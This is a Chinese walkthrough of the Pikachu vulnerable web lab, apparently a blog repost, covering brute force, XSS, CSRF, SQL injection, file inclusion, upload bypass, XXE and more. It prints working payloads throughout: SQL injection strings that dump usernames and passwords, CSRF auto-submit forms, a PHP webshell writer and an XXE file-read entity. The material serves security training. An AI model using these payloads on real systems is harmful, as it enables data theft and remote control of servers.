【Web安全】pikachu靶场做题过程

news/2025/2/12 22:59:21/

pikachu靶场

文章目录

  • pikachu靶场
    • 暴力破解
      • 基于表单的暴力破解
      • 验证码绕过(on server)
      • 验证码绕过(on client)
      • token防爆破?
    • Cross-Site Scripting
      • 反射型xss(get)
      • 反射型xss(post)
      • 存储型xss
      • DOM型xss
      • DOM型xss-x
      • xss之盲打
      • xss之过滤
      • xss之htmlspeacialchars
      • xss之href输出
      • xss之js输出
    • CRSF
      • CRSF(get)
      • CSRF(post)
      • CSRF Token
    • SQL-Inject
      • 数字型注入(post)
      • 字符型注入(get)
      • 搜索型注入
      • xx型注入
      • ”insert/update“注入
      • ”delete“注入
      • "http header"注入
      • 盲注(base on boolian)
      • 盲注(base on time)
      • 宽字节注入
    • RCE
      • exec "ping"
      • exec "evel"
    • File Inclusion
      • File Inclusion(local)
      • File Inclusion(remote)
    • Unsafe Filedownload
      • Unsafe Filedownload
    • Unsafe Fileupload
      • client check
      • MIME type
      • getimagesize
    • Over Permission
      • 未授权
      • 水平越权
      • 垂直越权
    • ../../
      • 目录遍历
    • 敏感信息泄露
      • IcanseeyourABC
    • php反序列化
      • php反序列化漏洞
    • XXE
      • XXE漏洞
    • URL重定向
      • 不安全的URL跳转

暴力破解

基于表单的暴力破解

第一题是基于表单的暴力破解,随便输入账号密码,使用burpsuite抓包,发送到Intruder模块进行爆破,这里假设我们需要爆破admin管理员的数据:

在这里插入图片描述

接着设置payloads,这里导入我的密码集,点击start attack:

在这里插入图片描述

根据返回包的长度确定,密码为123456

验证码绕过(on server)

题目背景:我们并不知道管理员密码是多少,因为需要验证码所以爆破起来遇到了困难。

点击F12查看验证码图片的元素可以发现,每点击一次就会发送到后端:

<img src="../../inc/showvcode.php" onclick="this.src='../../inc/showvcode.php?'+new Date().getTime();">
  • 我们先输入错误的验证码发现会显示验证码错误并且burpsuite抓到包了,所以得出这是后端验证的,和题目标题吻合。
  • 我们输入一个正确的验证码,会发现有两个包,其中最后一个包是发送到改变验证码脚本的,我们先试着把这个包放掉,看看后面的验证码可以使用前一个的不?

在这里插入图片描述

由上可知,当验证码正确的时候会校验账号密码。接着放掉第二个包不让验证码刷新,再提交一次表单,输入上一次的验证码,得到验证码可以再一次使用,所以可以进行上一关一样的爆破方法。

在这里插入图片描述

验证码绕过(on client)

  • 使用F12查看源代码,查看产生验证码的元素:
<input type="text" onclick="createCode()" readonly="readonly" id="checkCode" class="unchanged" style="width: 100px">
  • 通过上面的代码可以发现存在鼠标事件onclick,指向的是一个函数,我们查看这一个函数:

在这里插入图片描述

可以知道这是一个javascript函数,是个摆设我们只需要在浏览器设置禁用js代码即可实现绕过,之后的intruder模块破解密码同上。

token防爆破?

token参数是附在url中的,目的就是为了为每一个请求表单都附上唯一性,token很长,但也不是不可以绕过的,有时候token的值会在元素之中只不过被隐藏了而已。

这一道题在我们进行请求的时候token的值附在了username和password后面,这说明token有可能在form表单之中只不过被隐藏了。

在这里插入图片描述

查看form表单,可以发现以下代码,token的的属性被设置为hidden这说明在页面之中是不显示的。

<input type="hidden" name="token" value="2457165ec020f53c6e353867747">

burpsuite的intruder可以根据页面的内容来改变每一次的请求:

首先将数据报发送到intruder模块,接着选中要爆破的对象,这里是密码和token值。Settings–>Grep-Extract–>Add–>fetch response接着选中token的值复制即可,模块会自动进行正则匹配,点击OK。

在这里插入图片描述

回到Payloads选项,将密码爆破对象配置好就行。

在这里插入图片描述

Cross-Site Scripting

反射型xss(get)

在输入框中随便输入一些东西,发现输入的内容回显至界面,F12查看回显内容的元素,因此构造闭合使用script标签。

<p class="notice">who is 123123,i don't care!</p>

在输入内容时候发现有长度限制,查看元素发现是前端有长度限制:

<input class="xssr_in" type="text" maxlength="20" name="message">

对此我使用harkbar或者抓包修改:

在这里插入图片描述

http://192.168.221.129/pikachu/vul/xss/xss_reflected_get.php?message=123123<script>alert(1)</script>&submit=submit

反射型xss(post)

这一道题是需要登录进去的,所以我们使用管理员账号登录进去发现是一个输入框,我们可以在这里构造xss攻击。对于需要登录的xss攻击,攻击者可以构造带有脚本代码的url或者使用钓鱼网站让用户点击进行构造好的表单,由于cookie的有效期一般不是很短,所以攻击者可以获取用户有效的cookie。

在这里插入图片描述

存储型xss

这类xss攻击危害型很大,会导致网络蠕虫攻击,每一个看到这个留言板的人都会执行脚本代码。

123<input type='text' onfocus='alert(1)' value=''>
123<script>alert(1)</script>

DOM型xss

DOM型xss是不会与数据库进行交互的,我们输入的内容会会回显到页面上,F12发现我们输入的东西会成为一个链接,所以使用javascript伪协议:

在这里插入图片描述

在这里插入图片描述

<a href="javascript:alert(1)">what do you see?</a>

DOM型xss-x

这一关对输入的内容进行隐藏,隐藏的方式很简单也就是点击一下它的“伤心往事”就会弹出来了,第一个点击存在鼠标事件onclick:

<a href="#" onclick="domxss()">有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

查看domxss函数发现,我们输入的内容没有进行过滤就直接拼接到第二个点击之中:

在这里插入图片描述
所以还是可以使用javascript伪协议:

在这里插入图片描述

xss之盲打

打开网站发现这是一个反馈区,所以我们可以在反馈内容之中插入脚本代码,只要后台管理员看到了他的cookie就会被盗取

在这里插入图片描述
在这里插入图片描述

xss之过滤

输入<script>alert(1)</script>发现<script被过滤了,所以我们不用script标签,使用input的鼠标事件

123<input type="text" onclick=alert(1) value=''>

在这里插入图片描述

xss之htmlspeacialchars

这一道题感觉使用的htmlspeacialchars函数没有用上,F12查看元素就会发现可以直接使用伪协议就不用想怎么去绕过了:

在这里插入图片描述

xss之href输出

我们输入之后会出现一个跳转语句,F12查看元素发现输入的数据回显至href之中,所以使用javascript伪协议:

在这里插入图片描述

xss之js输出

输入数据之后没有回显,想想是js输出那就试试找js代码,F12发现存在有js函数

<script>$ms='123';if($ms.length != 0){if($ms == 'tmac'){$('#fromjs').text('tmac确实厉害,看那小眼神..')}else {
//            alert($ms);$('#fromjs').text('无论如何不要放弃心中所爱..')}}
</script>

我们输入只要输入tmac就行了,所以我们构造if的闭合:

1)<script>alert(1)</script>('

CRSF

CRSF(get)

攻击者使用钓鱼网站诱惑用户点击,而去处就是修改用户信息的界面,由于用户本身有cookie而cookie有一定时效性所以伪造的网站可以修改受害者的信息。

<a href="http://192.168.229.199/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=666&add=666&email=666&submit=submit">hahahahaha</a>

CSRF(post)

<form action="http://192.168.229.202/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" id="register" method="post" ><input type=text name="sex" value=""/><input type=password name="phonenum" value=""/><input type=text name="add" value=""/><input type=text name="email" value=""/><input type=submit name="submit" value="submit"/></form><script>var f = document.getElementById("register");f.elements["sex"].value = "test";f.elements["phonenum"].value = "test";f.elements["add"].value = "test";f.elements["email"].value = "test";setTimeout(function() { f.submit(); }, 1000);
</script>

这一道题也是一样,攻击者可以伪造一个钓鱼网站来修改用户信息。同样上面的input元素也可以使用hidden隐藏起来。

CSRF Token

使用了token参数貌似可以避免CRSF钓鱼攻击,但是js其实可以爬取网站的源代码的,如下代码:

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>CSRF Token Fetcher</title><script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head><body><form action="http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php" id="register" method="get"><input type="hidden" name="sex" value="crsf"><input type="hidden" name="phonenum" value="crsf"><input type="hidden" name="add" value="crsf"><input type="hidden" name="email" value="crsf"><input type="hidden" name="token" id="token" value=""><input type="submit" name="submit" value="Submit"></form><script>document.addEventListener('DOMContentLoaded', function () {fetchToken();});function fetchToken() {fetch('http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php').then(response => response.text()).then(html => {const parser = new DOMParser();const doc = parser.parseFromString(html, 'text/html');const tokenInput = doc.querySelector('input[type="hidden"][name="token"]');if (tokenInput) {const tokenValue = tokenInput.value;document.getElementById('token').value = tokenValue;alert('Token Value: ' + tokenValue); // 弹出警告框显示token值 } else {console.error('Failed to find the token input field.');}}).catch(error => {console.error('Error fetching token:', error);});}  </script></body></html>

在这里插入图片描述

在这里插入图片描述

SQL-Inject

数字型注入(post)

确认闭合方式,得到是数字型注入

id=1'

查看字段数,得到字段数是2段

id=1 order by 2
id=1 order by 3

查看回显位,发现1和2都可以

id=-1 union select 1,2

获取数据

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
id=-1 union select 1,group_concat(username,0x3a,password) from users

字符型注入(get)

判断闭合发现这是单引号闭合

?name=a' -- #

接着直接获取全部数据就行了

?name=kobe' or '1'='1

或者使用报错注入获取想要的数据:

?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and '1'='1 
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) and '1'='1
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3) and '1'='1 

搜索型注入

简单输入一些东西发现这是使用了like模糊搜索,所以闭合的时候要加上百分号

?name=k%' or '1'='1'--+

所以可以知道这是百分号加上单引号闭合,由于尝试的时候有报错信息,所以直接使用报错注入

?name=k%' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+

xx型注入

由报错信息得知这是单引号加括号闭合,所以构造闭合

?name=1') --+

由于有报错信息所以使用报错注入

?name=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
?name=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
?name=1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+

”insert/update“注入

在注册一个账号然后登录进去,看到一个修改个人信息界面,在修改电话号后加一个单引号发现存在报错,所以进行闭合

sex=123&phonenum=123'#&add=123&email=123&submit=submit

利用报错注入获取数据

sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&add=123&email=123&submit=submit
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where  table_name='users' and table_schema=database())),3)#&add=123&email=123&submit=submit
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)#&add=123&email=123&submit=submit

”delete“注入

随便加个单引号得出是数字型注入,并且由报错信息判断可以使用报错注入

?id=56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
?id=56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)
?id=56 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)

"http header"注入

登陆进去发现网站记录了我的ip地址,user agent,http accept和端口,所以我选择在user agent中注入:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where tabel_schema=database())),3) or '

在这里插入图片描述

盲注(base on boolian)

没有报错信息没有回显位,只有查询到和不查询到所以可以使用布尔盲注

?name=kobe' and substr(database(),1,1)='p

通过改变每一位猜测的数字可以得到数据。

盲注(base on time)

没有报错信息没有回显,并且搜索成功与否的界面是一样的,所以考虑使用时间盲注

在这里插入图片描述

宽字节注入

使用%df与转移符号结合,使得引号有效

在这里插入图片描述

在这里插入图片描述

RCE

exec “ping”

在这里插入图片描述

exec “evel”

这是一个evel危险函数,输入phpinfo();看一下效果:
在这里插入图片描述

File Inclusion

File Inclusion(local)

为了更好表现文件包含漏洞,我在服务端创建了一个test.txt,首先我们先进行抓包,然后参数filename为test.txt:
在这里插入图片描述

同时我们可以利用目录穿越../来获取敏感文件

File Inclusion(remote)

远程文件包含可以允许远程包含函数去读取远程站点上的代码文件,那就意味着。攻击者,可以自己搭一个站点,然后再上面放一个代码,这个代码文件就是攻击者自己控制的,它想怎么写就怎么写,然后在把对应的路径通过前端传到后台,那后台的包含函数,就会对远程路径下的文件进行加载,这个危害是非常大的,比如说,我们可以直接在远端去写一句话木马,然后让本地去执行,这意味着,我们直接把一句话木马,就放到了我们的目标站点上,然后就是实现了目标站点上的远程控制

pikachu下有一个test目录,里面有一个txt文件,下面是这个文件的内容,意思就是创建一个shell.php文件,作用是一句话木马。

<?php
/*** Created by runner.han* There is nothing new under the sun*/
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>

首先先进行抓包,修改filename:

在这里插入图片描述
可以看到文件包含目录下出现了一个一句话木马文件:在这里插入图片描述

Unsafe Filedownload

Unsafe Filedownload

点击球员图片进行下载,用burpsuite进行抓包,利用目录穿越修改下载地址:在这里插入图片描述

Unsafe Fileupload

client check

这种检查是在用户的浏览器端进行的。它可能包括检查文件扩展名、文件大小等。这里使用phpinfo()进行测试。上传php文件会出现弹窗:
在这里插入图片描述
所以我们上传png文件,用burpsuite抓包,修改filenama的后缀在这里插入图片描述
上传成功,得到文件保存路径,就可以访问了。

MIME type

MIME类型是一种标准,用来表示文件的格式。服务器可以检查上传文件的MIME类型,以确定它是否为可接受的类型。直接上传php文件,发现客户端没有对该文件进行拒绝,发送之后显示“上传的图片只能是jpg,jpeg,png格式的!”,所以推断服务器端对文件类型进行了限制。所以我们进行抓包,对请求头的Content-Type进行修改,对于Content-type是什么,可以自行搜索。在这里插入图片描述
上传成功,得到文件保存路径,就可以访问了。

getimagesize

这个php函数会判断你上传文件的特点,比如说尺寸、文件头等等。常见的绕过方式为:文件头修改、双重扩展名、特别构造图像文件等。常见的文件头标志如下:

  • JPEG/JPG:FFD8FF
  • PG:89504E47
  • GIF:474946383961
  • HTML:68746D6C3E
    这里就使用GIF,其中474946383961是GIF89a的ASCII HEX的转换。在这里插入图片描述
  • 得到文件的路径之后还不可以直接访问,因为它会把文件当作图片来解析,此时就需要文件包含漏洞来解析。在这里插入图片描述

Over Permission

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

未授权

首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是未授权:在这里插入图片描述

水平越权

首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是水平授权,这里和上面一样:在这里插入图片描述

垂直越权

首先我们先登录超级用户admin,点击新增用户将包发送到repeater,退出登录普通用户pikachu,将pikachu用户的cookie复制下来替换repeater里面的cookie,这样也可增加新用户,这就是水平越权。

在这里插入图片描述

…/…/

目录遍历

在这里插入图片描述

敏感信息泄露

IcanseeyourABC

有时候为了测试会把一些信息放在源代码中然后就忘记删除了,这一关就是这样

在这里插入图片描述

php反序列化

php反序列化漏洞

class S{var $test = "pikachu";function __construct(){echo $this->test;}
}
$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}

查看源代码,传入**O:1:“S”:1:{s:4:“test”;s:29:“<script>alert(‘xss’)</script>”;}**构造php反序列化漏洞

XXE

XXE漏洞

if(isset($_POST['submit']) and $_POST['xml'] != null){$xml =$_POST['xml'];
//    $xml = $test;$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);if($data){$html.="<pre>{$data}</pre>";}else{$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";}
}
<?xml version="1.0"?>  <!DOCTYPE foo [     <!ENTITY xxe SYSTEM "file://你想要的文件" > ]>  <foo>&xxe;</foo>

URL重定向

不安全的URL跳转

在这里插入图片描述


http://www.ppmy.cn/news/1379319.html

相关文章

IP形象设计是什么设计?如何做?

随着市场竞争的激烈&#xff0c;越来越多的企业开始关注品牌形象的塑造和推广。在品牌形象中&#xff0c;知识产权形象设计是一个非常重要的方面。在智能和互联网的趋势下&#xff0c;未来的知识产权形象设计可能更加关注数字和社交网络。通过数字技术和社交媒体平台&#xff0…

LaTex 笔记

目录 1. LaTex 笔记1.1. 符号1.2. Latex设置字体大小及表格中的文字大小等1.3. issues1.3.1. 完全支持中文显示1.3.2. 中文编译报错: LaTeX Error: Unicode character 你 (U4F60) 1. LaTex 笔记 1.1. 符号 \vspace{长度}: 文字上下间距;:: 1.2. Latex设置字体大小及表格中的…

精通SpringBoot单元测试

引言 单元测试是软件开发中不可或缺的一部分&#xff0c;它对保障代码质量和软件的可靠性起着至关重要的作用。而SpringBoot作为一个流行的Java框架&#xff0c;为开发高效、易于部署的微服务提供了强大的支持。 单元测试的重要性&#xff1a; 确保代码正确性&#xff1a;通过…

MySQL-QA-异常问题及解决方案(持续更新)

MySQL-Q&A(持续更新) 1.1 PID文件找不到 问题描述 错误详情&#xff1a; ERROR&#xff01;The server quit without updating PID file (/usr/local/mysql/data/localhost.localdomain.pid) 解决方案 首先排查配置文件&#xff0c;一般路径为&#xff1a;/etc/my.cnf 检查…

仿牛客网项目---消息队列的实现

本篇文章讲一讲我们的项目中用到的消息队列。 1.阻塞队列 2.kafka 我的项目为什么要用消息队列&#xff1f; 如果采用消息队列&#xff0c;那么评论、点赞、关注三类不同的事&#xff0c;可以定义三类不同的主题&#xff08;评论、点赞、关注&#xff09;&#xff0c;发生相应…

STM32启动过程及反汇编

STM32从Flash启动的过程&#xff0c;主要是从上电复位到main函数的过程&#xff0c;主要有以下步骤&#xff1a; 1.初始化堆栈指针 SP_initial_sp&#xff0c;初始化 PC 指针Reset_Handler 2.初始化中断向量表 3.配置系统时钟 4.调用 C 库函数_main 初始化用户堆栈&#xf…

目标检测论文模型笔记——RCNN系列

RCNN系列模型&#xff08;two-stages、基于区域的)主要包括以下几种&#xff0c;按发布时间排序&#xff1a; RCNN&#xff08;2014年&#xff09;&#xff1a;首次将深度学习应用于目标检测&#xff0c;通过选择性搜索Selective Search提出候选区域&#xff0c;然后使用CNN&am…

grpc的验证器

简介 在使用grpc库时候 ,很多时候我们需要对反序列化的参数进行校验,代码中有很多参数校验的代码&#xff0c;如果手动实现&#xff0c;会非常繁琐&#xff0c;对于grpc来说&#xff0c;在定义proto的时候使用直接定义参数的限制规则是一种更合理、更优雅的方式&#xff0c;插…